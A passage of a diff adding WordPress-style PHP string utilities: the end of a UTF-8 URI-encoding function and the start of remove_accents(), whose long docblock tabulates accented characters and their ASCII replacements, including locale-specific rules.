+		if ( $value < 128 ) {
+			$char                = chr( $value );
+			$encoded_char        = $encode_ascii_characters ? rawurlencode( $char ) : $char;
+			$encoded_char_length = strlen( $encoded_char );
+			if ( $length && ( $unicode_length + $encoded_char_length ) > $length ) {
+				break;
+			}
+			$unicode        .= $encoded_char;
+			$unicode_length += $encoded_char_length;
+		} else {
+			if ( count( $values ) == 0 ) {
+				if ( $value < 224 ) {
+					$num_octets = 2;
+				} elseif ( $value < 240 ) {
+					$num_octets = 3;
+				} else {
+					$num_octets = 4;
+				}
+			}
+
+			$values[] = $value;
+
+			if ( $length && ( $unicode_length + ($num_octets * 3) ) > $length )
+				break;
+			if ( count( $values ) == $num_octets ) {
+				for ( $j = 0; $j < $num_octets; $j++ ) {
+					$unicode .= '%' . dechex( $values[ $j ] );
+				}
+
+				$unicode_length += $num_octets * 3;
+
+				$values = array();
+				$num_octets = 1;
+			}
+		}
+	}
+
+	return $unicode;
+}
+
+/**
+ * Converts all accent characters to ASCII characters.
+ *
+ * If there are no accent characters, then the string given is just returned.
+ *
+ * **Accent characters converted:**
+ *
+ * Currency signs:
+ *
+ * |   Code   | Glyph | Replacement |     Description     |
+ * | -------- | ----- | ----------- | ------------------- |
+ * | U+00A3   | £     | (empty)     | British Pound sign  |
+ * | U+20AC   | €     | E           | Euro sign           |
+ *
+ * Decompositions for Latin-1 Supplement:
+ *
+ * |  Code   | Glyph | Replacement |               Description              |
+ * | ------- | ----- | ----------- | -------------------------------------- |
+ * | U+00AA  | ª     | a           | Feminine ordinal indicator             |
+ * | U+00BA  | º     | o           | Masculine ordinal indicator            |
+ * | U+00C0  | À     | A           | Latin capital letter A with grave      |
+ * | U+00C1  | Á     | A           | Latin capital letter A with acute      |
+ * | U+00C2  | Â     | A           | Latin capital letter A with circumflex |
+ * | U+00C3  | Ã     | A           | Latin capital letter A with tilde      |
+ * | U+00C4  | Ä     | A           | Latin capital letter A with diaeresis  |
+ * | U+00C5  | Å     | A           | Latin capital letter A with ring above |
+ * | U+00C6  | Æ     | AE          | Latin capital letter AE                |
+ * | U+00C7  | Ç     | C           | Latin capital letter C with cedilla    |
+ * | U+00C8  | È     | E           | Latin capital letter E with grave      |
+ * | U+00C9  | É     | E           | Latin capital letter E with acute      |
+ * | U+00CA  | Ê     | E           | Latin capital letter E with circumflex |
+ * | U+00CB  | Ë     | E           | Latin capital letter E with diaeresis  |
+ * | U+00CC  | Ì     | I           | Latin capital letter I with grave      |
+ * | U+00CD  | Í     | I           | Latin capital letter I with acute      |
+ * | U+00CE  | Î     | I           | Latin capital letter I with circumflex |
+ * | U+00CF  | Ï     | I           | Latin capital letter I with diaeresis  |
+ * | U+00D0  | Ð     | D           | Latin capital letter Eth               |
+ * | U+00D1  | Ñ     | N           | Latin capital letter N with tilde      |
+ * | U+00D2  | Ò     | O           | Latin capital letter O with grave      |
+ * | U+00D3  | Ó     | O           | Latin capital letter O with acute      |
+ * | U+00D4  | Ô     | O           | Latin capital letter O with circumflex |
+ * | U+00D5  | Õ     | O           | Latin capital letter O with tilde      |
+ * | U+00D6  | Ö     | O           | Latin capital letter O with diaeresis  |
+ * | U+00D8  | Ø     | O           | Latin capital letter O with stroke     |
+ * | U+00D9  | Ù     | U           | Latin capital letter U with grave      |
+ * | U+00DA  | Ú     | U           | Latin capital letter U with acute      |
+ * | U+00DB  | Û     | U           | Latin capital letter U with circumflex |
+ * | U+00DC  | Ü     | U           | Latin capital letter U with diaeresis  |
+ * | U+00DD  | Ý     | Y           | Latin capital letter Y with acute      |
+ * | U+00DE  | Þ     | TH          | Latin capital letter Thorn             |
+ * | U+00DF  | ß     | s           | Latin small letter sharp s             |
+ * | U+00E0  | à     | a           | Latin small letter a with grave        |
+ * | U+00E1  | á     | a           | Latin small letter a with acute        |
+ * | U+00E2  | â     | a           | Latin small letter a with circumflex   |
+ * | U+00E3  | ã     | a           | Latin small letter a with tilde        |
+ * | U+00E4  | ä     | a           | Latin small letter a with diaeresis    |
+ * | U+00E5  | å     | a           | Latin small letter a with ring above   |
+ * | U+00E6  | æ     | ae          | Latin small letter ae                  |
+ * | U+00E7  | ç     | c           | Latin small letter c with cedilla      |
+ * | U+00E8  | è     | e           | Latin small letter e with grave        |
+ * | U+00E9  | é     | e           | Latin small letter e with acute        |
+ * | U+00EA  | ê     | e           | Latin small letter e with circumflex   |
+ * | U+00EB  | ë     | e           | Latin small letter e with diaeresis    |
+ * | U+00EC  | ì     | i           | Latin small letter i with grave        |
+ * | U+00ED  | í     | i           | Latin small letter i with acute        |
+ * | U+00EE  | î     | i           | Latin small letter i with circumflex   |
+ * | U+00EF  | ï     | i           | Latin small letter i with diaeresis    |
+ * | U+00F0  | ð     | d           | Latin small letter Eth                 |
+ * | U+00F1  | ñ     | n           | Latin small letter n with tilde        |
+ * | U+00F2  | ò     | o           | Latin small letter o with grave        |
+ * | U+00F3  | ó     | o           | Latin small letter o with acute        |
+ * | U+00F4  | ô     | o           | Latin small letter o with circumflex   |
+ * | U+00F5  | õ     | o           | Latin small letter o with tilde        |
+ * | U+00F6  | ö     | o           | Latin small letter o with diaeresis    |
+ * | U+00F8  | ø     | o           | Latin small letter o with stroke       |
+ * | U+00F9  | ù     | u           | Latin small letter u with grave        |
+ * | U+00FA  | ú     | u           | Latin small letter u with acute        |
+ * | U+00FB  | û     | u           | Latin small letter u with circumflex   |
+ * | U+00FC  | ü     | u           | Latin small letter u with diaeresis    |
+ * | U+00FD  | ý     | y           | Latin small letter y with acute        |
+ * | U+00FE  | þ     | th          | Latin small letter Thorn               |
+ * | U+00FF  | ÿ     | y           | Latin small letter y with diaeresis    |
+ *
+ * Decompositions for Latin Extended-A:
+ *
+ * |  Code   | Glyph | Replacement |                    Description                    |
+ * | ------- | ----- | ----------- | ------------------------------------------------- |
+ * | U+0100  | Ā     | A           | Latin capital letter A with macron                |
+ * | U+0101  | ā     | a           | Latin small letter a with macron                  |
+ * | U+0102  | Ă     | A           | Latin capital letter A with breve                 |
+ * | U+0103  | ă     | a           | Latin small letter a with breve                   |
+ * | U+0104  | Ą     | A           | Latin capital letter A with ogonek                |
+ * | U+0105  | ą     | a           | Latin small letter a with ogonek                  |
+ * | U+01006 | Ć     | C           | Latin capital letter C with acute                 |
+ * | U+0107  | ć     | c           | Latin small letter c with acute                   |
+ * | U+0108  | Ĉ     | C           | Latin capital letter C with circumflex            |
+ * | U+0109  | ĉ     | c           | Latin small letter c with circumflex              |
+ * | U+010A  | Ċ     | C           | Latin capital letter C with dot above             |
+ * | U+010B  | ċ     | c           | Latin small letter c with dot above               |
+ * | U+010C  | Č     | C           | Latin capital letter C with caron                 |
+ * | U+010D  | č     | c           | Latin small letter c with caron                   |
+ * | U+010E  | Ď     | D           | Latin capital letter D with caron                 |
+ * | U+010F  | ď     | d           | Latin small letter d with caron                   |
+ * | U+0110  | Đ     | D           | Latin capital letter D with stroke                |
+ * | U+0111  | đ     | d           | Latin small letter d with stroke                  |
+ * | U+0112  | Ē     | E           | Latin capital letter E with macron                |
+ * | U+0113  | ē     | e           | Latin small letter e with macron                  |
+ * | U+0114  | Ĕ     | E           | Latin capital letter E with breve                 |
+ * | U+0115  | ĕ     | e           | Latin small letter e with breve                   |
+ * | U+0116  | Ė     | E           | Latin capital letter E with dot above             |
+ * | U+0117  | ė     | e           | Latin small letter e with dot above               |
+ * | U+0118  | Ę     | E           | Latin capital letter E with ogonek                |
+ * | U+0119  | ę     | e           | Latin small letter e with ogonek                  |
+ * | U+011A  | Ě     | E           | Latin capital letter E with caron                 |
+ * | U+011B  | ě     | e           | Latin small letter e with caron                   |
+ * | U+011C  | Ĝ     | G           | Latin capital letter G with circumflex            |
+ * | U+011D  | ĝ     | g           | Latin small letter g with circumflex              |
+ * | U+011E  | Ğ     | G           | Latin capital letter G with breve                 |
+ * | U+011F  | ğ     | g           | Latin small letter g with breve                   |
+ * | U+0120  | Ġ     | G           | Latin capital letter G with dot above             |
+ * | U+0121  | ġ     | g           | Latin small letter g with dot above               |
+ * | U+0122  | Ģ     | G           | Latin capital letter G with cedilla               |
+ * | U+0123  | ģ     | g           | Latin small letter g with cedilla                 |
+ * | U+0124  | Ĥ     | H           | Latin capital letter H with circumflex            |
+ * | U+0125  | ĥ     | h           | Latin small letter h with circumflex              |
+ * | U+0126  | Ħ     | H           | Latin capital letter H with stroke                |
+ * | U+0127  | ħ     | h           | Latin small letter h with stroke                  |
+ * | U+0128  | Ĩ     | I           | Latin capital letter I with tilde                 |
+ * | U+0129  | ĩ     | i           | Latin small letter i with tilde                   |
+ * | U+012A  | Ī     | I           | Latin capital letter I with macron                |
+ * | U+012B  | ī     | i           | Latin small letter i with macron                  |
+ * | U+012C  | Ĭ     | I           | Latin capital letter I with breve                 |
+ * | U+012D  | ĭ     | i           | Latin small letter i with breve                   |
+ * | U+012E  | Į     | I           | Latin capital letter I with ogonek                |
+ * | U+012F  | į     | i           | Latin small letter i with ogonek                  |
+ * | U+0130  | İ     | I           | Latin capital letter I with dot above             |
+ * | U+0131  | ı     | i           | Latin small letter dotless i                      |
+ * | U+0132  | Ĳ     | IJ          | Latin capital ligature IJ                         |
+ * | U+0133  | ĳ     | ij          | Latin small ligature ij                           |
+ * | U+0134  | Ĵ     | J           | Latin capital letter J with circumflex            |
+ * | U+0135  | ĵ     | j           | Latin small letter j with circumflex              |
+ * | U+0136  | Ķ     | K           | Latin capital letter K with cedilla               |
+ * | U+0137  | ķ     | k           | Latin small letter k with cedilla                 |
+ * | U+0138  | ĸ     | k           | Latin small letter Kra                            |
+ * | U+0139  | Ĺ     | L           | Latin capital letter L with acute                 |
+ * | U+013A  | ĺ     | l           | Latin small letter l with acute                   |
+ * | U+013B  | Ļ     | L           | Latin capital letter L with cedilla               |
+ * | U+013C  | ļ     | l           | Latin small letter l with cedilla                 |
+ * | U+013D  | Ľ     | L           | Latin capital letter L with caron                 |
+ * | U+013E  | ľ     | l           | Latin small letter l with caron                   |
+ * | U+013F  | Ŀ     | L           | Latin capital letter L with middle dot            |
+ * | U+0140  | ŀ     | l           | Latin small letter l with middle dot              |
+ * | U+0141  | Ł     | L           | Latin capital letter L with stroke                |
+ * | U+0142  | ł     | l           | Latin small letter l with stroke                  |
+ * | U+0143  | Ń     | N           | Latin capital letter N with acute                 |
+ * | U+0144  | ń     | n           | Latin small letter N with acute                   |
+ * | U+0145  | Ņ     | N           | Latin capital letter N with cedilla               |
+ * | U+0146  | ņ     | n           | Latin small letter n with cedilla                 |
+ * | U+0147  | Ň     | N           | Latin capital letter N with caron                 |
+ * | U+0148  | ň     | n           | Latin small letter n with caron                   |
+ * | U+0149  | ŉ     | n           | Latin small letter n preceded by apostrophe       |
+ * | U+014A  | Ŋ     | N           | Latin capital letter Eng                          |
+ * | U+014B  | ŋ     | n           | Latin small letter Eng                            |
+ * | U+014C  | Ō     | O           | Latin capital letter O with macron                |
+ * | U+014D  | ō     | o           | Latin small letter o with macron                  |
+ * | U+014E  | Ŏ     | O           | Latin capital letter O with breve                 |
+ * | U+014F  | ŏ     | o           | Latin small letter o with breve                   |
+ * | U+0150  | Ő     | O           | Latin capital letter O with double acute          |
+ * | U+0151  | ő     | o           | Latin small letter o with double acute            |
+ * | U+0152  | Œ     | OE          | Latin capital ligature OE                         |
+ * | U+0153  | œ     | oe          | Latin small ligature oe                           |
+ * | U+0154  | Ŕ     | R           | Latin capital letter R with acute                 |
+ * | U+0155  | ŕ     | r           | Latin small letter r with acute                   |
+ * | U+0156  | Ŗ     | R           | Latin capital letter R with cedilla               |
+ * | U+0157  | ŗ     | r           | Latin small letter r with cedilla                 |
+ * | U+0158  | Ř     | R           | Latin capital letter R with caron                 |
+ * | U+0159  | ř     | r           | Latin small letter r with caron                   |
+ * | U+015A  | Ś     | S           | Latin capital letter S with acute                 |
+ * | U+015B  | ś     | s           | Latin small letter s with acute                   |
+ * | U+015C  | Ŝ     | S           | Latin capital letter S with circumflex            |
+ * | U+015D  | ŝ     | s           | Latin small letter s with circumflex              |
+ * | U+015E  | Ş     | S           | Latin capital letter S with cedilla               |
+ * | U+015F  | ş     | s           | Latin small letter s with cedilla                 |
+ * | U+0160  | Š     | S           | Latin capital letter S with caron                 |
+ * | U+0161  | š     | s           | Latin small letter s with caron                   |
+ * | U+0162  | Ţ     | T           | Latin capital letter T with cedilla               |
+ * | U+0163  | ţ     | t           | Latin small letter t with cedilla                 |
+ * | U+0164  | Ť     | T           | Latin capital letter T with caron                 |
+ * | U+0165  | ť     | t           | Latin small letter t with caron                   |
+ * | U+0166  | Ŧ     | T           | Latin capital letter T with stroke                |
+ * | U+0167  | ŧ     | t           | Latin small letter t with stroke                  |
+ * | U+0168  | Ũ     | U           | Latin capital letter U with tilde                 |
+ * | U+0169  | ũ     | u           | Latin small letter u with tilde                   |
+ * | U+016A  | Ū     | U           | Latin capital letter U with macron                |
+ * | U+016B  | ū     | u           | Latin small letter u with macron                  |
+ * | U+016C  | Ŭ     | U           | Latin capital letter U with breve                 |
+ * | U+016D  | ŭ     | u           | Latin small letter u with breve                   |
+ * | U+016E  | Ů     | U           | Latin capital letter U with ring above            |
+ * | U+016F  | ů     | u           | Latin small letter u with ring above              |
+ * | U+0170  | Ű     | U           | Latin capital letter U with double acute          |
+ * | U+0171  | ű     | u           | Latin small letter u with double acute            |
+ * | U+0172  | Ų     | U           | Latin capital letter U with ogonek                |
+ * | U+0173  | ų     | u           | Latin small letter u with ogonek                  |
+ * | U+0174  | Ŵ     | W           | Latin capital letter W with circumflex            |
+ * | U+0175  | ŵ     | w           | Latin small letter w with circumflex              |
+ * | U+0176  | Ŷ     | Y           | Latin capital letter Y with circumflex            |
+ * | U+0177  | ŷ     | y           | Latin small letter y with circumflex              |
+ * | U+0178  | Ÿ     | Y           | Latin capital letter Y with diaeresis             |
+ * | U+0179  | Ź     | Z           | Latin capital letter Z with acute                 |
+ * | U+017A  | ź     | z           | Latin small letter z with acute                   |
+ * | U+017B  | Ż     | Z           | Latin capital letter Z with dot above             |
+ * | U+017C  | ż     | z           | Latin small letter z with dot above               |
+ * | U+017D  | Ž     | Z           | Latin capital letter Z with caron                 |
+ * | U+017E  | ž     | z           | Latin small letter z with caron                   |
+ * | U+017F  | ſ     | s           | Latin small letter long s                         |
+ * | U+01A0  | Ơ     | O           | Latin capital letter O with horn                  |
+ * | U+01A1  | ơ     | o           | Latin small letter o with horn                    |
+ * | U+01AF  | Ư     | U           | Latin capital letter U with horn                  |
+ * | U+01B0  | ư     | u           | Latin small letter u with horn                    |
+ * | U+01CD  | Ǎ     | A           | Latin capital letter A with caron                 |
+ * | U+01CE  | ǎ     | a           | Latin small letter a with caron                   |
+ * | U+01CF  | Ǐ     | I           | Latin capital letter I with caron                 |
+ * | U+01D0  | ǐ     | i           | Latin small letter i with caron                   |
+ * | U+01D1  | Ǒ     | O           | Latin capital letter O with caron                 |
+ * | U+01D2  | ǒ     | o           | Latin small letter o with caron                   |
+ * | U+01D3  | Ǔ     | U           | Latin capital letter U with caron                 |
+ * | U+01D4  | ǔ     | u           | Latin small letter u with caron                   |
+ * | U+01D5  | Ǖ     | U           | Latin capital letter U with diaeresis and macron  |
+ * | U+01D6  | ǖ     | u           | Latin small letter u with diaeresis and macron    |
+ * | U+01D7  | Ǘ     | U           | Latin capital letter U with diaeresis and acute   |
+ * | U+01D8  | ǘ     | u           | Latin small letter u with diaeresis and acute     |
+ * | U+01D9  | Ǚ     | U           | Latin capital letter U with diaeresis and caron   |
+ * | U+01DA  | ǚ     | u           | Latin small letter u with diaeresis and caron     |
+ * | U+01DB  | Ǜ     | U           | Latin capital letter U with diaeresis and grave   |
+ * | U+01DC  | ǜ     | u           | Latin small letter u with diaeresis and grave     |
+ *
+ * Decompositions for Latin Extended-B:
+ *
+ * |   Code   | Glyph | Replacement |                Description                |
+ * | -------- | ----- | ----------- | ----------------------------------------- |
+ * | U+0218   | Ș     | S           | Latin capital letter S with comma below   |
+ * | U+0219   | ș     | s           | Latin small letter s with comma below     |
+ * | U+021A   | Ț     | T           | Latin capital letter T with comma below   |
+ * | U+021B   | ț     | t           | Latin small letter t with comma below     |
+ *
+ * Vowels with diacritic (Chinese, Hanyu Pinyin):
+ *
+ * |   Code   | Glyph | Replacement |                      Description                      |
+ * | -------- | ----- | ----------- | ----------------------------------------------------- |
+ * | U+0251   | ɑ     | a           | Latin small letter alpha                              |
+ * | U+1EA0   | Ạ     | A           | Latin capital letter A with dot below                 |
+ * | U+1EA1   | ạ     | a           | Latin small letter a with dot below                   |
+ * | U+1EA2   | Ả     | A           | Latin capital letter A with hook above                |
+ * | U+1EA3   | ả     | a           | Latin small letter a with hook above                  |
+ * | U+1EA4   | Ấ     | A           | Latin capital letter A with circumflex and acute      |
+ * | U+1EA5   | ấ     | a           | Latin small letter a with circumflex and acute        |
+ * | U+1EA6   | Ầ     | A           | Latin capital letter A with circumflex and grave      |
+ * | U+1EA7   | ầ     | a           | Latin small letter a with circumflex and grave        |
+ * | U+1EA8   | Ẩ     | A           | Latin capital letter A with circumflex and hook above |
+ * | U+1EA9   | ẩ     | a           | Latin small letter a with circumflex and hook above   |
+ * | U+1EAA   | Ẫ     | A           | Latin capital letter A with circumflex and tilde      |
+ * | U+1EAB   | ẫ     | a           | Latin small letter a with circumflex and tilde        |
+ * | U+1EA6   | Ậ     | A           | Latin capital letter A with circumflex and dot below  |
+ * | U+1EAD   | ậ     | a           | Latin small letter a with circumflex and dot below    |
+ * | U+1EAE   | Ắ     | A           | Latin capital letter A with breve and acute           |
+ * | U+1EAF   | ắ     | a           | Latin small letter a with breve and acute             |
+ * | U+1EB0   | Ằ     | A           | Latin capital letter A with breve and grave           |
+ * | U+1EB1   | ằ     | a           | Latin small letter a with breve and grave             |
+ * | U+1EB2   | Ẳ     | A           | Latin capital letter A with breve and hook above      |
+ * | U+1EB3   | ẳ     | a           | Latin small letter a with breve and hook above        |
+ * | U+1EB4   | Ẵ     | A           | Latin capital letter A with breve and tilde           |
+ * | U+1EB5   | ẵ     | a           | Latin small letter a with breve and tilde             |
+ * | U+1EB6   | Ặ     | A           | Latin capital letter A with breve and dot below       |
+ * | U+1EB7   | ặ     | a           | Latin small letter a with breve and dot below         |
+ * | U+1EB8   | Ẹ     | E           | Latin capital letter E with dot below                 |
+ * | U+1EB9   | ẹ     | e           | Latin small letter e with dot below                   |
+ * | U+1EBA   | Ẻ     | E           | Latin capital letter E with hook above                |
+ * | U+1EBB   | ẻ     | e           | Latin small letter e with hook above                  |
+ * | U+1EBC   | Ẽ     | E           | Latin capital letter E with tilde                     |
+ * | U+1EBD   | ẽ     | e           | Latin small letter e with tilde                       |
+ * | U+1EBE   | Ế     | E           | Latin capital letter E with circumflex and acute      |
+ * | U+1EBF   | ế     | e           | Latin small letter e with circumflex and acute        |
+ * | U+1EC0   | Ề     | E           | Latin capital letter E with circumflex and grave      |
+ * | U+1EC1   | ề     | e           | Latin small letter e with circumflex and grave        |
+ * | U+1EC2   | Ể     | E           | Latin capital letter E with circumflex and hook above |
+ * | U+1EC3   | ể     | e           | Latin small letter e with circumflex and hook above   |
+ * | U+1EC4   | Ễ     | E           | Latin capital letter E with circumflex and tilde      |
+ * | U+1EC5   | ễ     | e           | Latin small letter e with circumflex and tilde        |
+ * | U+1EC6   | Ệ     | E           | Latin capital letter E with circumflex and dot below  |
+ * | U+1EC7   | ệ     | e           | Latin small letter e with circumflex and dot below    |
+ * | U+1EC8   | Ỉ     | I           | Latin capital letter I with hook above                |
+ * | U+1EC9   | ỉ     | i           | Latin small letter i with hook above                  |
+ * | U+1ECA   | Ị     | I           | Latin capital letter I with dot below                 |
+ * | U+1ECB   | ị     | i           | Latin small letter i with dot below                   |
+ * | U+1ECC   | Ọ     | O           | Latin capital letter O with dot below                 |
+ * | U+1ECD   | ọ     | o           | Latin small letter o with dot below                   |
+ * | U+1ECE   | Ỏ     | O           | Latin capital letter O with hook above                |
+ * | U+1ECF   | ỏ     | o           | Latin small letter o with hook above                  |
+ * | U+1ED0   | Ố     | O           | Latin capital letter O with circumflex and acute      |
+ * | U+1ED1   | ố     | o           | Latin small letter o with circumflex and acute        |
+ * | U+1ED2   | Ồ     | O           | Latin capital letter O with circumflex and grave      |
+ * | U+1ED3   | ồ     | o           | Latin small letter o with circumflex and grave        |
+ * | U+1ED4   | Ổ     | O           | Latin capital letter O with circumflex and hook above |
+ * | U+1ED5   | ổ     | o           | Latin small letter o with circumflex and hook above   |
+ * | U+1ED6   | Ỗ     | O           | Latin capital letter O with circumflex and tilde      |
+ * | U+1ED7   | ỗ     | o           | Latin small letter o with circumflex and tilde        |
+ * | U+1ED8   | Ộ     | O           | Latin capital letter O with circumflex and dot below  |
+ * | U+1ED9   | ộ     | o           | Latin small letter o with circumflex and dot below    |
+ * | U+1EDA   | Ớ     | O           | Latin capital letter O with horn and acute            |
+ * | U+1EDB   | ớ     | o           | Latin small letter o with horn and acute              |
+ * | U+1EDC   | Ờ     | O           | Latin capital letter O with horn and grave            |
+ * | U+1EDD   | ờ     | o           | Latin small letter o with horn and grave              |
+ * | U+1EDE   | Ở     | O           | Latin capital letter O with horn and hook above       |
+ * | U+1EDF   | ở     | o           | Latin small letter o with horn and hook above         |
+ * | U+1EE0   | Ỡ     | O           | Latin capital letter O with horn and tilde            |
+ * | U+1EE1   | ỡ     | o           | Latin small letter o with horn and tilde              |
+ * | U+1EE2   | Ợ     | O           | Latin capital letter O with horn and dot below        |
+ * | U+1EE3   | ợ     | o           | Latin small letter o with horn and dot below          |
+ * | U+1EE4   | Ụ     | U           | Latin capital letter U with dot below                 |
+ * | U+1EE5   | ụ     | u           | Latin small letter u with dot below                   |
+ * | U+1EE6   | Ủ     | U           | Latin capital letter U with hook above                |
+ * | U+1EE7   | ủ     | u           | Latin small letter u with hook above                  |
+ * | U+1EE8   | Ứ     | U           | Latin capital letter U with horn and acute            |
+ * | U+1EE9   | ứ     | u           | Latin small letter u with horn and acute              |
+ * | U+1EEA   | Ừ     | U           | Latin capital letter U with horn and grave            |
+ * | U+1EEB   | ừ     | u           | Latin small letter u with horn and grave              |
+ * | U+1EEC   | Ử     | U           | Latin capital letter U with horn and hook above       |
+ * | U+1EED   | ử     | u           | Latin small letter u with horn and hook above         |
+ * | U+1EEE   | Ữ     | U           | Latin capital letter U with horn and tilde            |
+ * | U+1EEF   | ữ     | u           | Latin small letter u with horn and tilde              |
+ * | U+1EF0   | Ự     | U           | Latin capital letter U with horn and dot below        |
+ * | U+1EF1   | ự     | u           | Latin small letter u with horn and dot below          |
+ * | U+1EF2   | Ỳ     | Y           | Latin capital letter Y with grave                     |
+ * | U+1EF3   | ỳ     | y           | Latin small letter y with grave                       |
+ * | U+1EF4   | Ỵ     | Y           | Latin capital letter Y with dot below                 |
+ * | U+1EF5   | ỵ     | y           | Latin small letter y with dot below                   |
+ * | U+1EF6   | Ỷ     | Y           | Latin capital letter Y with hook above                |
+ * | U+1EF7   | ỷ     | y           | Latin small letter y with hook above                  |
+ * | U+1EF8   | Ỹ     | Y           | Latin capital letter Y with tilde                     |
+ * | U+1EF9   | ỹ     | y           | Latin small letter y with tilde                       |
+ *
+ * German (`de_DE`), German formal (`de_DE_formal`), German (Switzerland) formal (`de_CH`),
+ * and German (Switzerland) informal (`de_CH_informal`) locales:
+ *
+ * |   Code   | Glyph | Replacement |               Description               |
+ * | -------- | ----- | ----------- | --------------------------------------- |
+ * | U+00C4   | Ä     | Ae          | Latin capital letter A with diaeresis   |
+ * | U+00E4   | ä     | ae          | Latin small letter a with diaeresis     |
+ * | U+00D6   | Ö     | Oe          | Latin capital letter O with diaeresis   |
+ * | U+00F6   | ö     | oe          | Latin small letter o with diaeresis     |
+ * | U+00DC   | Ü     | Ue          | Latin capital letter U with diaeresis   |
+ * | U+00FC   | ü     | ue          | Latin small letter u with diaeresis     |
+ * | U+00DF   | ß     | ss          | Latin small letter sharp s              |
+ *
+ * Danish (`da_DK`) locale:
+ *
+ * |   Code   | Glyph | Replacement |               Description               |
+ * | -------- | ----- | ----------- | --------------------------------------- |
+ * | U+00C6   | Æ     | Ae          | Latin capital letter AE                 |
+ * | U+00E6   | æ     | ae          | Latin small letter ae                   |
+ * | U+00D8   | Ø     | Oe          | Latin capital letter O with stroke      |
+ * | U+00F8   | ø     | oe          | Latin small letter o with stroke        |
+ * | U+00C5   | Å     | Aa          | Latin capital letter A with ring above  |
+ * | U+00E5   | å     | aa          | Latin small letter a with ring above    |
+ *
+ * Catalan (`ca`) locale:
+ *
+ * |   Code   | Glyph | Replacement |               Description               |
+ * | -------- | ----- | ----------- | --------------------------------------- |
+ * | U+00B7   | l·l   | ll          | Flown dot (between two Ls)              |
+ *
+ * Serbian (`sr_RS`) and Bosnian (`bs_BA`) locales:
+ *
+ * |   Code   | Glyph | Replacement |               Description               |
+ * | -------- | ----- | ----------- | --------------------------------------- |
+ * | U+0110   | Đ     | DJ          | Latin capital letter D with stroke      |
+ * | U+0111   | đ     | dj          | Latin small letter d with stroke        |
+ *
+ * @since 1.2.1
+ * @since 4.6.0 Added locale support for `de_CH`, `de_CH_informal`, and `ca`.
+ * @since 4.7.0 Added locale support for `sr_RS`.
+ * @since 4.8.0 Added locale support for `bs_BA`.
+ *
+ * @param string $string Text that might have accent characters
+ * @return string Filtered string with replaced "nice" characters.
+ */
+function remove_accents( $string ) {
+	if ( !preg_match('/[\x80-\xff]/', $string) )
+		return $string;
+
+	if (seems_utf8($string)) {
+		$chars = array(
+		// Decompositions for Latin-1 Supplement
+		'ª' => 'a', 'º' => 'o',
+		'À' => 'A', 'Á' => 'A',
+		'Â' => 'A', 'Ã' => 'A',
+		'Ä' => 'A', 'Å' => 'A',
+		'Æ' => 'AE','Ç' => 'C',
+		'È' => 'E', 'É' => 'E',
+		'Ê' => 'E', 'Ë' => 'E',
+		'Ì' => 'I', 'Í' => 'I',
+		'Î' => 'I', 'Ï' => 'I',
+		'Ð' => 'D', 'Ñ' => 'N',
+		'Ò' => 'O', 'Ó' => 'O',
+		'Ô' => 'O', 'Õ' => 'O',
+		'Ö' => 'O', 'Ù' => 'U',
+		'Ú' => 'U', 'Û' => 'U',
+		'Ü' => 'U', 'Ý' => 'Y',
+		'Þ' => 'TH','ß' => 's',
+		'à' => 'a', 'á' => 'a',
+		'â' => 'a', 'ã' => 'a',
+		'ä' => 'a', 'å' => 'a',
+		'æ' => 'ae','ç' => 'c',
+		'è' => 'e', 'é' => 'e',
+		'ê' => 'e', 'ë' => 'e',
+		'ì' => 'i', 'í' => 'i',
+		'î' => 'i', 'ï' => 'i',
+		'ð' => 'd', 'ñ' => 'n',
+		'ò' => 'o', 'ó' => 'o',
+		'ô' => 'o', 'õ' => 'o',
+		'ö' => 'o', 'ø' => 'o',
+		'ù' => 'u', 'ú' => 'u',
+		'û' => 'u', 'ü' => 'u',
+		'ý' => 'y', 'þ' => 'th',
+		'ÿ' => 'y', 'Ø' => 'O',
+		// Decompositions for Latin Extended-A
+		'Ā' => 'A', 'ā' => 'a',
+		'Ă' => 'A', 'ă' => 'a',
+		'Ą' => 'A', 'ą' => 'a',
+		'Ć' => 'C', 'ć' => 'c',
+		'Ĉ' => 'C', 'ĉ' => 'c',
+		'Ċ' => 'C', 'ċ' => 'c',
+		'Č' => 'C', 'č' => 'c',
+		'Ď' => 'D', 'ď' => 'd',
+		'Đ' => 'D', 'đ' => 'd',
+		'Ē' => 'E', 'ē' => 'e',
+		'Ĕ' => 'E', 'ĕ' => 'e',
+		'Ė' => 'E', 'ė' => 'e',
+		'Ę' => 'E', 'ę' => 'e',
+		'Ě' => 'E', 'ě' => 'e',
+		'Ĝ' => 'G', 'ĝ' => 'g',
+		'Ğ' => 'G', 'ğ' => 'g',
+		'Ġ' => 'G', 'ġ' => 'g',
+		'Ģ' => 'G', 'ģ' => 'g',
+		'Ĥ' => 'H', 'ĥ' => 'h',
+		'Ħ' => 'H', 'ħ' => 'h',
+		'Ĩ' => 'I', 'ĩ' => 'i',
+		'Ī' => 'I', 'ī' => 'i',
+		'Ĭ' => 'I', 'ĭ' => 'i',
+		'Į' => 'I', 'į' => 'i',
+		'İ' => 'I', 'ı' => 'i',
+		'Ĳ' => 'IJ','ĳ' => 'ij',
+		'Ĵ' => 'J', 'ĵ' => 'j',
+		'Ķ' => 'K', 'ķ' => 'k',
+		'ĸ' => 'k', 'Ĺ' => 'L',
+		'ĺ' => 'l', 'Ļ' => 'L',
+		'ļ' => 'l', 'Ľ' => 'L',
+		'ľ' => 'l', 'Ŀ' => 'L',
+		'ŀ' => 'l', 'Ł' => 'L',
+		'ł' => 'l', 'Ń' => 'N',
+		'ń' => 'n', 'Ņ' => 'N',
+		'ņ' => 'n', 'Ň' => 'N',
+		'ň' => 'n', 'ŉ' => 'n',
+		'Ŋ' => 'N', 'ŋ' => 'n',
+		'Ō' => 'O', 'ō' => 'o',
+		'Ŏ' => 'O', 'ŏ' => 'o',
+		'Ő' => 'O', 'ő' => 'o',
+		'Œ' => 'OE','œ' => 'oe',
+		'Ŕ' => 'R','ŕ' => 'r',
+		'Ŗ' => 'R','ŗ' => 'r',
+		'Ř' => 'R','ř' => 'r',
+		'Ś' => 'S','ś' => 's',
+		'Ŝ' => 'S','ŝ' => 's',
+		'Ş' => 'S','ş' => 's',
+		'Š' => 'S', 'š' => 's',
+		'Ţ' => 'T', 'ţ' => 't',
+		'Ť' => 'T', 'ť' => 't',
+		'Ŧ' => 'T', 'ŧ' => 't',
+		'Ũ' => 'U', 'ũ' => 'u',
+		'Ū' => 'U', 'ū' => 'u',
+		'Ŭ' => 'U', 'ŭ' => 'u',
+		'Ů' => 'U', 'ů' => 'u',
+		'Ű' => 'U', 'ű' => 'u',
+		'Ų' => 'U', 'ų' => 'u',
